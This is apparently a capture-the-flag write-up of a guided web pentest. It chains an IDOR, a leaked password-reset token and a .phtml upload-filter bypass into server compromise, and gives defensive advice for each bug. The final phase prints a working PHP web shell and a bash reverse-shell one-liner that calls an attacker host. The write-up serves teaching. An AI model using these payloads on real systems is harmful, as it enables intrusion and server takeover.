TryHackMe Easy offensive May 21, 2026

Guided Pentest: Web - Chaining Four Small Bugs Into Full Server Compromise

A guided web app pentest against a fictional recruitment platform. None of the individual findings are critical. The chain ends in remote code execution and a reverse shell.

What The Room Teaches

This is the kind of room I wish more beginners did. The point is not learning one exploit. The point is learning that real compromises chain small findings together.

The fictional target is a recruitment platform called RecruitX. The chain that worked:

  1. IDOR on the profile page leaks every user.
  2. The API lists its own routes and an endpoint there leaks the same data without auth.
  3. The password reset flow returns the reset token in the HTTP response instead of emailing it.
  4. The admin file upload rejects .php but not .phtml, which Apache still runs as PHP.

Four bugs. None of them is critical on its own. Strung together they take you from a non-logged-in browser to a reverse shell on the server.

Phase 1: Reconnaissance

Standard service scan with nmap. Four open ports: SSH on 22, HTTP on 80, MySQL on 3306, a second HTTP on 8080.

nmap -p- -sV <TARGET_IP>

The exposed MySQL port is itself worth noting. Databases should not be reachable from the internet. I did not exploit it in this chain, but I would write it up as a finding.

Directory brute force with gobuster:

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt

The paths that mattered: /admin, /api, /reset.php, /uploads.

HTTP response headers confirmed Apache plus PHP. That detail mattered later because Apache’s default config parses several extensions as PHP, not only .php.

Phase 2: IDOR (Walking The User Table)

IDOR stands for Insecure Direct Object Reference. The bug is: the application accepts a user-controlled ID parameter and returns the named record without checking whether the requesting user is allowed to read it. It is authentication without authorization.

The profile page took an id parameter. Changing the number returned a different user’s profile, including the administrator’s. The API at /api/user?id= did the same thing without even requiring a login. Walking the IDs from 1 upward returned every user record in the system: names, emails, roles.

The takeaway for defenders is simple. Authenticate every request and authorize every resource. The server should derive who is making the request from the session and check that the user is allowed to access the requested ID. Better yet: use opaque IDs like UUIDs instead of sequential integers, so even a missing check cannot be walked.

Phase 3: A Password Reset That Hands You The Token

The reset page took an email and was supposed to send a reset token to it. Instead it returned the token in the HTTP response body. Plus the token was a 6-digit number with no rate limiting on the endpoint.

Three problems in one page:

  • The token should never appear in the response. Reset tokens are delivered out-of-band, by email or SMS.
  • A 6-digit token is brute-forceable on its own. There are only a million possibilities. A reset endpoint with no rate limiting falls in seconds even without the response leak.
  • No rate limiting means an attacker can probe email addresses or guess tokens at machine speed.

With the disclosed token, setting a new password and logging in as the administrator took about twenty seconds.

Phase 4: A File Upload That Knew Half The List

The admin panel had a file upload that restricted file types in two layers, and both of them fell.

The first layer was an HTML accept attribute on the file input. The browser uses this to filter what shows in the file picker. The accept attribute is not a security control. The attacker controls the browser. Opening DevTools, finding the input element, and deleting the attribute removed the restriction in one click.

The second layer was a server-side extension check that rejected .php. Useful, but incomplete. Apache by default parses several extensions as PHP: .php, .php3, .php4, .php5, .php7, and .phtml. The server’s blocklist only mentioned .php. Uploading a file with a .phtml extension was accepted, and Apache happily executed it as PHP.

This is the larger lesson on input validation: build allowlists of what is permitted, not blocklists of what is forbidden. A blocklist always misses something. An allowlist of safe extensions (PDFs, DOCs, images) does not.

Defenders should also:

  • Validate the actual MIME type on the server with a real library, not the file extension or the Content-Type header the browser sends.
  • Store uploaded files outside the web root and stream them through a controller. Even an uploaded .phtml cannot be requested directly if it does not live in a web-served directory.
  • Strip executable extensions from saved filenames.

Phase 5: From Upload To Reverse Shell

A minimal PHP web shell is three lines:

<?php echo shell_exec($_GET['cmd']); ?>

Saved as shell.phtml, uploaded, then visited at /uploads/documents/shell.phtml?cmd=id. Apache executed it as PHP and returned the output of the id command.

A one-shot web shell is fine for confirming code execution. An interactive shell is better. Upgrading is a one-liner:

# attacker terminal:
nc -lvnp 4444

# in the browser:
?cmd=bash -c 'bash -i >&/dev/tcp/<KALI_IP>/4444 0>&1'

A reverse shell landed as the www-data user on the host. The flag was sitting in /var/www/. When the location is unknown the universal trick on any Linux foothold:

find / -name "flag.txt" 2>/dev/null

Key Takeaways

  • Client-side restrictions are not security. The HTML accept attribute was removed in one DevTools click.
  • Blocklists always miss something. .phtml bypassed a filter blocking .php.
  • Chain thinking beats single-bug thinking. No finding here was individually critical. Together they were full RCE.
  • Opaque IDs (UUIDs) cost nothing and prevent IDOR by accident.
  • find / -name “<target>” 2>/dev/null is the universal “where is this file” command on Linux.

What I’d Tell A Beginner

  1. Run nmap and gobuster first, always. The map of the application is the map of the engagement.
  2. When you see a numeric ID in a URL, try changing it. Half of all web apps have IDOR somewhere.
  3. Inspect every form with DevTools before submitting. Client-side filters are an invitation, not a control.
  4. After every upload, fetch the uploaded file and see what the server actually does with it. Code execution is the only thing that matters; everything else is noise.
  5. Write down every finding as you go, even the ones that look small. Chaining is the skill, and you cannot chain what you did not write down.

The technical version with the specific queries and screenshots is in the companion repo on GitHub.